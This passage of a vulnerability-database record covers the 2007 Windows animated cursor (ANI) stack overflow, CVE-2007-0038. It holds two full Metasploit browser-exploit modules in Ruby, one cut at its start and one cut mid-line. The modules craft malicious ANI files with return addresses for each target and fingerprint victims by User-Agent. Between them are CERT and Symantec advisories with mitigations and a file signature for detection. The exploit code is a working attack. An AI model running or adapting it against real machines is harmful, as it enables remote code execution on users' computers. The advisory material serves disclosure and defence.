that occur while the invalid cursor is loaded, causing the \nexploit to silently fail when the wrong target has been chosen. This \nmodule will be updated in the near future to perform client-side \nfingerprinting and brute forcing. \n \nThis vulnerability was discovered by Alexander Sotirov of Determina \nand was rediscovered, in the wild, by McAfee. \n}, \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'hdm', # First version \n'skape', # Vista support \n], \n'Version' => '$Revision$', \n'References' => \n[ \n['CVE', '2007-0038'], \n['CVE', '2007-1765'], \n['BID', '23194'], \n['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'], \n['URL', 'http://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp'], \n['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'], \n], \n'DefaultOptions' => \n{ \n# Cause internet explorer to exit after the code hits \n'EXITFUNC' => 'process', \n}, \n'Payload' => \n{ \n'Space' => 1024 + (rand(1000)), \n'MinNops' => 32, \n'Compat' => \n{ \n'ConnectionType' => '-find', \n}, \n'StackAdjustment' => -3500, \n}, \n'Platform' => 'win', \n'Targets' => \n[ \n# \n# Use multiple cursor URLs to try all targets for a particular \n# operating system. This can result in multiple, sequential sessions \n# \n \n[ 'Automatic', { }], \n \n# \n# The following targets use call [ebx+4], just like the original exploit \n# \n \n# Partial overwrite for cross-language exploitation (latest user32 only) \n[ 'Windows XP SP2 user32.dll 5.1.2600.2622', { 'Ret' => 0x25ba, 'Len' => 2 }], \n \n# Should work for all English XP SP2 \n[ 'Windows XP SP2 userenv.dll English', { 'Ret' => 0x769fc81a }], \n \n# Should work for English XP SP0/SP1 \n[ 'Windows XP SP0/SP1 netui2.dll English', { 'Ret' => 0x71bd0205 }], \n \n# Should work for English 2000 SP0-SP4+ \n[ 'Windows 2000 SP0-SP4 netui2.dll English', { 'Ret' => 0x75116d88 }], \n \n \n# \n# Partial overwrite where 700b is a jmp dword [ebx] ebx points to the start \n# of the RIFF chunk itself. The length field of the RIFF chunk \n# tag contains a short jump into an embedded riff chunk that \n# makes a long relative jump into the actual payload. \n# \n[ 'Windows Vista user32.dll 6.0.6000.16386', { 'Ret' => 0x700b, 'Len' => 2 } ] \n \n], \n'DisclosureDate' => 'Mar 28 2007', \n'DefaultTarget' => 0)) \nend \n \ndef autofilter \nfalse \nend \n \ndef check_dependencies \nuse_zlib \nend \n \ndef on_request_uri(cli, request) \n \nmytarget = self.target \nros = /.*/ \n \ncase request.headers['User-Agent'] \n \nwhen /Windows (NT |)4\\.0/ \nros = /NT 4/ \n \nwhen /Windows (NT |)5\\.0/ \nros = /2000/ \n \nwhen /Windows (NT |)5\\.1/ \nros = /XP/ \n \nwhen /Windows (NT |)5\\.2/ \nros = /2003/ \n \nwhen /Windows (NT |)6\\.0/ \nros = /Vista/ \nend \n \n \ntarg = nil \nexts = ['bmp', 'wav', 'png', 'zip', 'tar'] \ngext = exts[rand(exts.length)] \n \nruri, qstr = request.uri.split('?') \n \nif (qstr and qstr =~ /.*=(\\d+)/) \ntarg = $1.to_i \nend \n \nmext = ruri =~ /\\.(...)$/ \nif (not (mext and exts.include?($1))) \n \nhtml = \n\"<html><head><title>\" + \nrand_text_alphanumeric(rand(128)+4) + \n\"</title>\" + \n\"</head><body>\" + rand_text_alphanumeric(rand(128)+1) \n \nmytargs = (target.name =~ /Automatic/) ? targets : [target] \n \nif target.name =~ /Automatic/ \ntargets.each_index { |i| \nnext if not targets[i].ret \nnext if not targets[i].name =~ ros \nhtml << generate_div(gext, i) \n} \nelse \nhtml << generate_div(gext, target_index) \nend \n \nhtml << \"</body></html>\" \n \nsend_response_html(cli, html) \nreturn \nend \n \n# Set the requested target \nif (targ and targets[targ]) \nmytarget = targets[targ] \nend \n \n# Re-generate the payload, using the explicit target \nreturn if ((p = regenerate_payload(cli, nil, nil, target)) == nil) \n \nprint_status(\"Sending exploit to #{cli.peerhost}:#{cli.peerport}...\") \n \n# Transmit the compressed response to the client \nsend_response(cli, generate_ani(p, mytarget), { 'Content-Type' => 'application/octet-stream' }) \n \nhandler(cli) \nend \n \ndef generate_div(gext, targ) \n\"<div style='\" + \ngenerate_css_padding() + \nRex::Text.to_rand_case(\"cursor\") + \ngenerate_css_padding() + \n\":\" + \ngenerate_css_padding() + \nRex::Text.to_rand_case(\"url(\") + \ngenerate_css_padding() + \n'\"' + \nget_resource + '/' + rand_text_alphanumeric(rand(80)+16) + \".#{gext}\" + \n\"?#{rand_text_alpha(rand(12)+1)}=#{targ}\" + \n'\"' + \ngenerate_css_padding() + \n\");\" + \ngenerate_css_padding() + \n\"'>\" + \ngenerate_padding() + \n\"</div>\" \nend \n \ndef generate_ani(payload, target) \n \n# Build the first ANI header \nanih_a = [ \n36, # DWORD cbSizeof \nrand(128)+16, # DWORD cFrames \nrand(1024)+1, # DWORD cSteps \n0, # DWORD cx,cy (reserved - 0) \n0, # DWORD cBitCount, cPlanes (reserved - 0) \n0, 0, 0, # JIF jifRate \n1 # DWORD flags \n].pack('V9') \n \nanih_b = nil \n \nif (target.name =~ /Vista/) \n# Vista has ebp=80, eip=84 \nanih_b = rand_text(84) \n \n# Overwrite local counter variable and pointers \nanih_b[68, 12] = [0].pack('V') * 3 \nelse \n# XP/2K has ebp=76 and eip=80 \nanih_b = rand_text(80) \n \n# Overwrite locals with invalid pointers \nanih_b[64, 12] = [0].pack('V') * 3 \nend \n \n# Overwrite the return with address of a \"call ptr [ebx+4]\" \nanih_b << [target.ret].pack('V')[0, target['Len'] ? target['Len'] : 4] \n \n# Begin the ANI chunk \nriff = \"ACON\" \n \n# Calculate the data offset for the trampoline chunk and add \n# the trampoline chunk if we're attacking Vista \nif target.name =~ /Vista/ \ntrampoline_doffset = riff.length + 8 \n \nriff << generate_trampoline_riff_chunk \nend \n \n# Insert random RIFF chunks \n0.upto(rand(128)+16) do |i| \nriff << generate_riff_chunk() \nend \n \n# Embed the first ANI header \nriff << \"anih\" + [anih_a.length].pack('V') + anih_a \n \n# Insert random RIFF chunks \n0.upto(rand(128)+16) do |i| \nriff << generate_riff_chunk() \nend \n \n# Trigger the return address overwrite \nriff << \"anih\" + [anih_b.length].pack('V') + anih_b \n \n# If this is a Vista target, then we need to align the length of the \n# RIFF chunk so that the low order two bytes are equal to a jmp $+0x16 \nif target.name =~ /Vista/ \nplen = (riff.length & 0xffff0000) | 0x0eeb \nplen += 0x10000 if (plen - 8) < riff.length \n \nriff << generate_riff_chunk((plen - 8) - riff.length) \n \n# Replace the operand to the relative jump to point into the actual \n# payload itself which comes after the riff chunk \nriff[trampoline_doffset + 1, 4] = [riff.length - trampoline_doffset - 5].pack('V') \nend \n \n# Place the RIFF chunk in front and off we go \nret = \"RIFF\" + [riff.length].pack('V') + riff \n \n# We copy the encoded payload to the stack because sometimes the RIFF \n# image is mapped in read-only pages. This would prevent in-place \n# decoders from working, and we can't have that. \nret << Rex::Arch::X86.copy_to_stack(payload.encoded.length) \n \n# Place the real payload right after it. \nret << payload.encoded \n \nret \nend \n \n# Generates a riff chunk with the first bytes of the data being a relative \n# jump. This is used to bounce to the actual payload \ndef generate_trampoline_riff_chunk \ntag = Rex::Text.to_rand_case(rand_text_alpha(4)) \ndat = \"\\xe9\\xff\\xff\\xff\\xff\" + rand_text(1) + (rand_text(rand(256)+1) * 2) \ntag + [dat.length].pack('V') + dat \nend \n \ndef generate_riff_chunk(len = (rand(256)+1) * 2) \ntag = Rex::Text.to_rand_case(rand_text_alpha(4)) \ndat = rand_text(len) \ntag + [dat.length].pack('V') + dat \nend \n \ndef generate_css_padding \nbuf = \ngenerate_whitespace() + \n\"/*\" + \ngenerate_whitespace() + \ngenerate_padding() + \ngenerate_whitespace() + \n\"*/\" + \ngenerate_whitespace() \nend \n \ndef generate_whitespace \nlen = rand(100)+2 \nset = \"\\x09\\x20\\x0d\\x0a\" \nbuf = '' \n \nwhile (buf.length < len) \nbuf << set[rand(set.length)].chr \nend \nbuf \nend \n \ndef generate_padding \nrand_text_alphanumeric(rand(128)+4) \nend \n \nend \n \nend \n`\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/55551/ani_loadimage_chunksize-browser.rb.txt"}], "cert": [{"lastseen": "2020-09-18T20:42:44", "bulletinFamily": "info", "cvelist": ["CVE-2007-0038"], "description": "### Overview \n\nMicrosoft Windows contains a stack buffer overflow in the handling of animated cursor files. This vulnerability may allow a remote attacker to execute arbitrary code or cause a denial-of-service condition.\n\n### Description \n\nAnimated cursor files (`.ani`) contain animated graphics for icons and cursors. Animated cursor files are stored as Resource Interchange File Format (RIFF) data. A stack buffer overflow vulnerability exists in the way that Microsoft Windows processes malformed animated cursor files. Specifically, Microsoft Windows fails to properly validate the size of animated cursor file headers. Note that Windows Explorer will process animated cursor files with several different file extensions, such as `.ani`, `.cur`, or `.ico`.\n\nNote that animated cursor files are parsed when the containing folder is opened or it is used as a cursor. In addition, Internet Explorer can process animated cursor files in HTML documents, so web pages and HTML email messages can also trigger this vulnerability. Note that any Windows application may call the vulnerable code to process animated cursor files. \n \nMore information on this vulnerability is available in Microsoft Security Advisory Bulletin [MS07-017](<http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx>). \n \nExploit code for this vulnerability is publicly available, and it is being actively exploited. \n \n--- \n \n### Impact \n\nA remote, unauthenticated attacker may be able to execute arbitrary code or cause a denial-of-service condition. \n \n--- \n \n### Solution \n\n**Apply updates from Microsoft** \nMicrosoft has released an update for this vulnerabilitity in Microsoft Security Bulletin [MS07-017](<http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx>). \n \n--- \n \n**Block access to malformed animated cursor files at network perimeters**\n\n \nBy blocking access to malformed animated cursor files using HTTP proxies, mail gateways, and other network filter technologies, system administrators may also limit potential attack vectors**.** \n \nPlease be aware that filtering based just on the `ANI`, `CUR`, or `ICO` file extensions will not block all known attack vectors for this vulnerability. Filter mechanisms should be looking for any file that Microsoft Windows recognizes as an animated cursor file by virtue of its file contents. Animated cursor files begin with the ASCII sequence: `RIFF` (hex `52 49 46 46`). Malformed Animated cursor files that can exploit this vulnerability contain the string `anih` followed by the dword `0x24`, and then a second instance of `anih` followed by a dword value other than `0x24`. Please check with your network vendor for updated signatures. \n \n**Configure Outlook to display messages in plain text** \n \nAn attacker may be able to exploit this vulnerability by convincing a user to display a specially crafted HTML email. This can happen automatically if the preview pane is enabled in your mail client. Configuring Outlook to display email in plain text can help prevent exploitation of this vulnerability through email. Consider the security of fellow Internet users and send email in plain text format when possible. \n**Note:** The Outlook Express option for displaying messages in plain text will not prevent exploitation of this vulnerability. This workaround is only viable for systems with Microsoft Outlook. \n \n**Disable email preview pane** \n \nBy disabling the preview pane in your mail client, incoming email messages will not be automatically rendered. This can help prevent exploitation of this vulnerability. \n \n**Configure Windows Explorer to use Windows Classic Folders** \n \nWhen Windows Explorer is configured to use the \"Show common tasks in folders\" option, HTML within a file may be processed when that file is selected. If the \"Show common tasks in folders\" is enabled, selecting a specially crafted HTML document in Windows Explorer may trigger this vulnerability. Note that the \"Show common tasks in folders\" is enabled by default. To mitigate this attack vector, enable the \"Use Windows classic folders\" option. To enable this option in Windows Explorer: \n\n\n * Open Windows Explorer\n * Select Folder Options from the Tools menu\n * Select the \"Use Windows classic folders\" option in the Tasks section\n**Do not follow unsolicited links** \n \nIn order to convince users to visit their sites, attackers often use URL encoding, IP address variations, long URLs, intentional misspellings, and other techniques to create misleading links. Do not click on unsolicited links received in email, instant messages, web forums, or internet relay chat (IRC) channels. Type URLs directly into the browser to avoid these misleading links. While these are generally good security practices, following these behaviors will not prevent exploitation of this vulnerability in all cases, particularly if a trusted site has been compromised or allows cross-site scripting. \n--- \n \n### Vendor Information\n\n191609\n\nFilter by status: All Affected Not Affected Unknown\n\nFilter by content: __ Additional information available\n\n__ Sort by: Status Alphabetical\n\nExpand all\n\n**Javascript is disabled. Click here to view vendors.**\n\n### Microsoft Corporation __ Affected\n\nNotified: March 29, 2007 Updated: April 03, 2007 \n\n### Status\n\nAffected\n\n### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Vendor Information \n\nThe vendor has not provided us with any further information regarding this vulnerability.\n\n### Addendum\n\nRefer to <http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx> and <http://www.microsoft.com/technet/security/advisory/935423.mspx>.\n\nIf you have feedback, comments, or additional information about this vulnerability, please send us [email](<mailto:cert@cert.org?Subject=VU%23191609 Feedback>).\n\n \n\n\n### CVSS Metrics \n\nGroup | Score | Vector \n---|---|--- \nBase | | \nTemporal | | \nEnvironmental | | \n \n \n\n\n### References \n\n * <http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx>\n * <http://blogs.technet.com/msrc/search.aspx?q=935423>\n * <http://www.microsoft.com/technet/security/advisory/935423.mspx>\n * <http://www.determina.com/security.research/vulnerabilities/ani-header.html>\n * <http://vil.nai.com/vil/content/v_141860.htm>\n * <http://www.avertlabs.com/research/blog/?p=230>\n * [http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=TROJ%5FANICMOO%2EAX&VSect=T](<http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=TROJ%5FANICMOO%2EAX&VSect=T>)\n * <http://secunia.com/advisories/24659/>\n * <http://research.eeye.com/html/alerts/zeroday/20070328.html>\n * [ http://xforce.iss.net/xforce/alerts/id/258](< http://xforce.iss.net/xforce/alerts/id/258>)\n\n### Acknowledgements\n\nThis vulnerability was reported by Alexander Sotirov of Determina.\n\nThis document was written by Jeff Gennari and Will Dormann.\n\n### Other Information\n\n**CVE IDs:** | [CVE-2007-0038](<http://web.nvd.nist.gov/vuln/detail/CVE-2007-0038>) \n---|--- \n**Severity Metric:** | 142.50 \n**Date Public:** | 2007-03-29 \n**Date First Published:** | 2007-03-29 \n**Date Last Updated: ** | 2007-08-16 00:21 UTC \n**Document Revision: ** | 51 \n", "modified": "2007-08-16T00:21:00", "published": "2007-03-29T00:00:00", "id": "VU:191609", "href": "https://www.kb.cert.org/vuls/id/191609", "type": "cert", "title": "Microsoft Windows animated cursor stack buffer overflow", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "symantec": [{"lastseen": "2018-03-11T20:41:42", "bulletinFamily": "software", "cvelist": ["CVE-2007-0038"], "description": "### Description\n\nMicrosoft Windows is prone to a stack buffer-overflow vulnerability because of insufficient format validation that occurs when handling malformed ANI cursor or icon files. An attacker can exploit this issue to execute arbitrary code with the privileges of an unsuspecting user. A successful attack can result in the compromise of affected user accounts and computers. This issue affects Windows Vista, Windows XP SP2, and Windows Server 2003 SP1 when running Internet Explorer 6 and 7; other versions and client applications may also be affected. Microsoft has recently disclosed that Outlook 2007 is not vulnerable, that Windows Mail on Vista is vulnerable in replying to or forwarding emails containing malicious ANI files, and that Outlook Express is vulnerable to this issue. Third-party applications such as browsers that handle ANI files and call the ANI rendering functionality in GDI pose an attack vector for this vulnerability.\n\n### Technologies Affected\n\n * Avaya Customer Interaction Express (CIE) Server 1.0 \n * Avaya Customer Interaction Express (CIE) User Interface 1.0 \n * Avaya Messaging Application Server \n * Avaya Messaging Application Server MM 2.0 \n * Avaya Messaging Application Server MM 3.0 \n * Avaya Messaging Application Server MM 3.1 \n * HP Storage Management Appliance 2.1 \n * Microsoft Internet Explorer 6.0 \n * Microsoft Internet Explorer 6.0 SP1 \n * Microsoft Internet Explorer 6.0 SP2 do not use \n * Microsoft Internet Explorer 7.0 \n * Microsoft Outlook Express 6.0 \n * Microsoft Outlook Express 6.0 SP1 \n * Microsoft Outlook Express 6.0 SP2 \n * Microsoft Windows 2000 Advanced Server \n * Microsoft Windows 2000 Advanced Server SP1 \n * Microsoft Windows 2000 Advanced Server SP2 \n * Microsoft Windows 2000 Advanced Server SP3 \n * Microsoft Windows 2000 Advanced Server SP4 \n * Microsoft Windows 2000 Datacenter Server \n * Microsoft Windows 2000 Datacenter Server SP1 \n * Microsoft Windows 2000 Datacenter Server SP2 \n * Microsoft Windows 2000 Datacenter Server SP3 \n * Microsoft Windows 2000 Datacenter Server SP4 \n * Microsoft Windows 2000 Professional \n * Microsoft Windows 2000 Professional SP1 \n * Microsoft Windows 2000 Professional SP2 \n * Microsoft Windows 2000 Professional SP3 \n * Microsoft Windows 2000 Professional SP4 \n * Microsoft Windows 2000 Server \n * Microsoft Windows 2000 Server Japanese Edition \n * Microsoft Windows 2000 Server SP1 \n * Microsoft Windows 2000 Server SP2 \n * Microsoft Windows 2000 Server SP3 \n * Microsoft Windows 2000 Server SP4 \n * Microsoft Windows Mail \n * Microsoft Windows Server 2003 Datacenter Edition \n * Microsoft Windows Server 2003 Datacenter Edition Itanium \n * Microsoft Windows Server 2003 Datacenter Edition Itanium SP1 \n * Microsoft Windows Server 2003 Datacenter Edition Itanium SP1 Beta 1 \n * Microsoft Windows Server 2003 Datacenter Edition SP1 \n * Microsoft Windows Server 2003 Datacenter Edition SP1 Beta 1 \n * Microsoft Windows Server 2003 Datacenter x64 Edition \n * Microsoft Windows Server 2003 Datacenter x64 Edition SP2 \n * Microsoft Windows Server 2003 Enterprise Edition \n * Microsoft Windows Server 2003 Enterprise Edition Itanium \n * Microsoft Windows Server 2003 Enterprise Edition Itanium SP1 \n * Microsoft Windows Server 2003 Enterprise Edition Itanium SP1 Beta 1 \n * Microsoft Windows Server 2003 Enterprise Edition SP1 \n * Microsoft Windows Server 2003 Enterprise Edition SP1 Beta 1 \n * Microsoft Windows Server 2003 Enterprise x64 Edition \n * Microsoft Windows Server 2003 Enterprise x64 Edition SP2 \n * Microsoft Windows Server 2003 Itanium SP2 \n * Microsoft Windows Server 2003 Standard Edition \n * Microsoft Windows Server 2003 Standard Edition SP1 \n * Microsoft Windows Server 2003 Standard Edition SP1 Beta 1 \n * Microsoft Windows Server 2003 Standard Edition SP2 \n * Microsoft Windows Server 2003 Standard x64 Edition \n * Microsoft Windows Server 2003 Web Edition \n * Microsoft Windows Server 2003 Web Edition SP1 \n * Microsoft Windows Server 2003 Web Edition SP1 Beta 1 \n * Microsoft Windows Server 2003 Web Edition SP2 \n * Microsoft Windows Vista \n * Microsoft Windows Vista Beta 1 \n * Microsoft Windows Vista Business \n * Microsoft Windows Vista December CTP \n * Microsoft Windows Vista Enterprise \n * Microsoft Windows Vista Home Basic \n * Microsoft Windows Vista Home Premium \n * Microsoft Windows Vista Ultimate \n * Microsoft Windows Vista beta 2 \n * Microsoft Windows Vista beta \n * Microsoft Windows Vista x64 Edition \n * Microsoft Windows XP 64-bit Edition \n * Microsoft Windows XP 64-bit Edition SP1 \n * Microsoft Windows XP 64-bit Edition Version 2003 \n * Microsoft Windows XP 64-bit Edition Version 2003 SP1 \n * Microsoft Windows XP \n * Microsoft Windows XP Embedded \n * Microsoft Windows XP Embedded SP1 \n * Microsoft Windows XP Gold \n * Microsoft Windows XP Home \n * Microsoft Windows XP Home SP1 \n * Microsoft Windows XP Home SP2 \n * Microsoft Windows XP Media Center Edition \n * Microsoft Windows XP Media Center Edition SP1 \n * Microsoft Windows XP Media Center Edition SP2 \n * Microsoft Windows XP Professional \n * Microsoft Windows XP Professional SP1 \n * Microsoft Windows XP Professional SP2 \n * Microsoft Windows XP Professional x64 Edition \n * Microsoft Windows XP Professional x64 Edition SP2 \n * Microsoft Windows XP Tablet PC Edition \n * Microsoft Windows XP Tablet PC Edition SP1 \n * Microsoft Windows XP Tablet PC Edition SP2 \n * Nortel Networks CallPilot 200i \n * Nortel Networks CallPilot 201i \n * Nortel Networks CallPilot 702t \n * Nortel Networks CallPilot 703t \n * Nortel Networks Centrex IP Element Manager 7.0.0 \n * Nortel Networks Centrex IP Element Manager 8.0.0 \n * Nortel Networks Centrex IP Element Manager 9.0.0 \n * Nortel Networks Contact Center - Agent Desktop Display \n * Nortel Networks Contact Center - Symposium Agent \n * Nortel Networks Contact Center - TAPI Desktop \n * Nortel Networks Contact Center - TAPI Server \n * Nortel Networks Contact Center Administration \n * Nortel Networks Contact Center Express \n * Nortel Networks Contact Center Manager \n * Nortel Networks Contact Center Manager Server \n * Nortel Networks Enterprise Network Management System \n * Nortel Networks Meridian SL-100 \n * Nortel Networks Multimedia Communication Platform \n * Nortel Networks Self-Service - Web Centric CCXML \n * Nortel Networks Self-Service \n * Nortel Networks Self-Service MPS 100 \n * Nortel Networks Self-Service MPS 1000 \n * Nortel Networks Self-Service MPS 500 \n * Nortel Networks Self-Service Media Processing Server \n * Nortel Networks Self-Service Peri Application \n * Nortel Networks Self-Service Peri IVR \n * Nortel Networks Self-Service Peri NT Server \n * Nortel Networks Self-Service Speech Server \n\n### Recommendations\n\n**Run all software as a nonprivileged user with minimal access rights.** \nTo reduce the impact of latent vulnerabilities, always run non-administrative software as an unprivileged user with minimal access rights.\n\n**Deploy network intrusion detection systems to monitor network traffic for malicious activity.** \nDeploy NIDS to monitor network traffic for signs of anomalous or suspicious activity including unexplained incoming and outgoing traffic. This may indicate exploit attempts or activity that results from successful exploits\n\n**Do not accept or execute files from untrusted or unknown sources.** \nUsers should not accept or execute files provided by an untrusted or unknown source.\n\n**Do not follow links provided by unknown or untrusted sources.** \nSince a likely vector of attack for this issue is the distribution of malicious HTML documents, users should not follow links provided by unknown or untrusted individuals.\n\nMicrosoft has released an advisory to address this issue in supported versions of affected applications. Please see the referenced advisory for details on obtaining and applying the appropriate updates.\n", "modified": "2007-03-29T00:00:00", "published": "2007-03-29T00:00:00", "id": "SMNTC-23194", "href": "https://www.symantec.com/content/symantec/english/en/security-center/vulnerabilities/writeup.html/23194", "type": "symantec", "title": "Microsoft Windows Cursor And Icon ANI Format Handling Remote Buffer Overflow Vulnerability", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "metasploit": [{"lastseen": "2020-07-02T22:33:09", "description": "This module exploits a buffer overflow vulnerability in the LoadAniIcon() function in USER32.dll. The flaw can be triggered through Internet Explorer 6 and 7 by using the CURSOR style sheet directive to load a malicious .ANI file. The module can also exploit Mozilla Firefox by using a UNC path in a moz-icon URL and serving the .ANI file over WebDAV. The vulnerable code in USER32.dll will catch any exceptions that occur while the invalid cursor is loaded, causing the exploit to silently fail when the wrong target has been chosen. This vulnerability was discovered by Alexander Sotirov of Determina and was rediscovered, in the wild, by McAfee.\n", "published": "2010-04-15T16:08:27", "type": "metasploit", "title": "Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-0038"], "modified": "2019-05-23T12:01:21", "id": "MSF:EXPLOIT/WINDOWS/BROWSER/MS07_017_ANI_LOADIMAGE_CHUNKSIZE", "href": "", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = GreatRanking\n\n #\n # This module acts as an HTTP server\n #\n include Msf::Exploit::Remote::HttpServer::HTML\n include Msf::Exploit::RIFF\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)',\n 'Description' => %q{\n This module exploits a buffer overflow vulnerability in the\n LoadAniIcon() function in USER32.dll. The flaw can be triggered through\n Internet Explorer 6 and 7 by using the CURSOR style sheet directive\n to load a malicious .ANI file. The module can also exploit Mozilla\n Firefox by using a UNC path in a moz-icon URL and serving the .ANI file\n over WebDAV. The vulnerable code in USER32.dll will catch any\n exceptions that occur while the invalid cursor is loaded, causing the\n exploit to silently fail when the wrong target has been chosen.\n\n This vulnerability was discovered by Alexander Sotirov of Determina\n and was rediscovered, in the wild, by McAfee.\n },\n\n 'Author' =>\n [\n 'hdm', # First version\n 'skape', # Vista support\n\n # Firefox support, OS language independence, improved reliability\n 'Solar Eclipse <solareclipse[at]phreedom.org>'\n ],\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n ['CVE', '2007-0038'],\n ['OSVDB', '33629'],\n ['BID', '23194'],\n ['MSB', 'MS07-017']\n ],\n 'DefaultOptions' =>\n {\n 'EXITFUNC' => 'process',\n },\n 'Payload' =>\n {\n 'Space' => 1024 + (rand(1000)),\n 'Compat' =>\n {\n 'ConnectionType' => '-find',\n }\n },\n 'Platform' => 'win',\n\n # Automatic target tested on:\n #\n # Windows NT SP6 + IE6 SP1\n # Windows 2000 SP4 + IE6 SP1\n # Windows 2000 SP4 UR1 + IE6 SP1\n # Windows XP SP0\n # Windows XP SP1\n # Windows XP SP2\n # Windows XP SP2 + IE7\n # Windows 2003 SP0\n # Windows 2003 SP1\n # Windows 2003 SP1 + IE7\n # Windows Vista\n #\n # Windows XP SP0 + Firebird 0.7\n # Windows XP SP0 + Firefox 1.0\n # Windows XP SP0 + Firefox 1.5\n # Windows XP SP2 + Firefox 2.0\n # Windows 2003 SP1 + Firefox 2.0\n # Windows Vista + Firefox 2.0\n\n 'Targets' =>\n [\n [ '(Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista',\n {\n 'Method' => 'automatic'\n }\n ],\n [ 'IE6 on Windows NT, 2000, XP, 2003 (all languages)',\n {\n 'Method' => 'jmpesp',\n 'Ret1' => 0x0040afff, # jmp esp on NT, 2000, XP, 2003 SP0 (iexplore.exe)\n 'Ret2' => 0x004090df # jmp esp on 2003 SP1, SP2 (iexplore.exe)\n }\n ],\n [ 'IE7 on Windows XP SP2, 2003 SP1, SP2 (all languages)',\n {\n 'Method' => 'jmpesp',\n 'Ret1' => 0x00420B45, # jmp esp on XP SP2 (iexplore.exe)\n 'Ret2' => 0x00420B45 # jmp esp on 2003 SP1, SP2 (iexplore.exe)\n }\n ],\n [ 'IE7 and Firefox on Windows Vista (all languages)',\n {\n 'Method' => 'partial',\n 'Ret' => 0x700B # we change user32.dll+5879 to user32.dll+700B (jmp [ebx] in user32.dll)\n }\n ],\n [ 'Firefox on Windows XP (English)',\n {\n 'Method' => 'jmpesp',\n 'Ret1' => 0x77059E48, # jmp esp on XP (comres.dll)\n 'Ret2' => 0x77019668 # jmp esp on 2003 SP1, SP2 (comres.dll)\n }\n ],\n [ 'Firefox on Windows 2003 (English)',\n {\n 'Method' => 'jmpesp',\n 'Ret1' => 0x77019668, # jmp esp on 2003 SP0 (comres.dll)\n 'Ret2' => 0x77019668 # jmp esp on 2003 SP1, SP2 (comres.dll)\n }\n ],\n ],\n 'DisclosureDate' => 'Mar 28 2007',\n 'DefaultTarget' => 0))\n\n register_options(\n [\n OptPort.new('SRVPORT', [ true, \"The daemon port to listen on\", 80 ]),\n OptString.new('URIPATH', [ true, \"The URI to use.\", \"/\" ])\n ])\n end\n\n\n#\n# Handle HTTP requests\n#\n\n def on_request_uri(cli, request)\n\n #\n # Automatic browser and OS detection\n #\n\n print_status(\"Attempting to exploit ani_loadimage_chunksize\")\n browser = ''\n\n if target['Method'] == 'automatic'\n\n agent = request.headers['User-Agent']\n\n # Check for Firefox requests\n\n if agent =~ /(Gecko|Microsoft-WebDAV-MiniRedir)/\n\n browser = 'Mozilla'\n\n # WebDAV requires that we use port 80 and the URIPATH is '/'\n\n if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'\n print_status(\"Request received from Mozilla. To exploit Mozilla browsers, SRVPORT must be set to 80 and URIPATH must be '/'\")\n cli.send_response(create_response(404, \"File not found\"))\n return\n end\n\n if agent =~ /(Windows NT 6\\.0|MiniRedir\\/6\\.0)/\n target = targets[3] # Firefox on Vista\n elsif agent =~ /(Windows NT 5\\.1|MiniRedir\\/5\\.1)/\n target = targets[4] # Firefox on XP\n elsif agent =~ /(Windows NT 5\\.2|MiniRedir\\/5\\.2)/\n target = targets[5] # Firefox on 2003\n else\n print_status(\"Unknown User-Agent #{agent}\")\n return\n end\n\n # Check for MSIE requests\n\n elsif agent =~ /MSIE/\n\n browser = 'IE'\n\n if agent =~ /Windows NT 6\\.0/\n target = targets[3] # IE7 on Vista\n elsif agent =~ /MSIE 7\\.0/\n target = targets[2] # IE7 on XP and 2003\n elsif agent =~ /MSIE 6\\.0/\n target = targets[1] # IE6 on NT, 2000, XP and 2003\n else\n print_status(\"Unknown User-Agent #{agent}\")\n return\n end\n\n # Unknown user agent\n\n else\n print_status(\"Unknown User-Agent #{agent}\")\n return\n end\n\n end\n\n #\n # Find out if this is a request for an ANI file\n #\n\n # Mozilla always uses a .ani extension, but IE randomly picks one of the\n # other extensions for the ANI request\n exts = ['bmp', 'wav', 'png', 'zip', 'tar', 'ani']\n\n ani_request = false\n\n match = /\\.(...)$/.match(request.uri)\n\n if match and exts.include?(match[1])\n ani_request = true\n end\n\n #\n # OPTIONS and PROPFIND requests sent by the WebDav Mini-Redirector\n #\n\n if request.method == 'OPTIONS'\n print_status(\"Received WebDAV OPTIONS request\")\n headers = {\n 'DASL' => '<DAV:sql>',\n 'DAV' => '1, 2',\n 'Public' => 'OPTIONS, GET, PROPFIND',\n 'Allow' => 'OPTIONS, GET, PROPFIND'\n }\n send_response(cli, '', headers)\n return\n end\n\n if request.method == 'PROPFIND'\n print_status(\"Received WebDAV PROPFIND request\")\n\n body = ''\n\n if (not ani_request)\n # Response for directories\n body = '<?xml version=\"1.0\"?><a:multistatus xmlns:a=\"DAV:\"><a:response><a:propstat><a:prop><a:resourcetype><a:collection/></a:resourcetype></a:prop></a:propstat></a:response></a:multistatus>'\n else\n # Response for files\n body = '<?xml version=\"1.0\"?><a:multistatus xmlns:b=\"urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/\" xmlns:c=\"xml:\" xmlns:a=\"DAV:\"><a:response></a:response></a:multistatus>'\n end\n\n send_response(cli, body, {'Content-Type' => 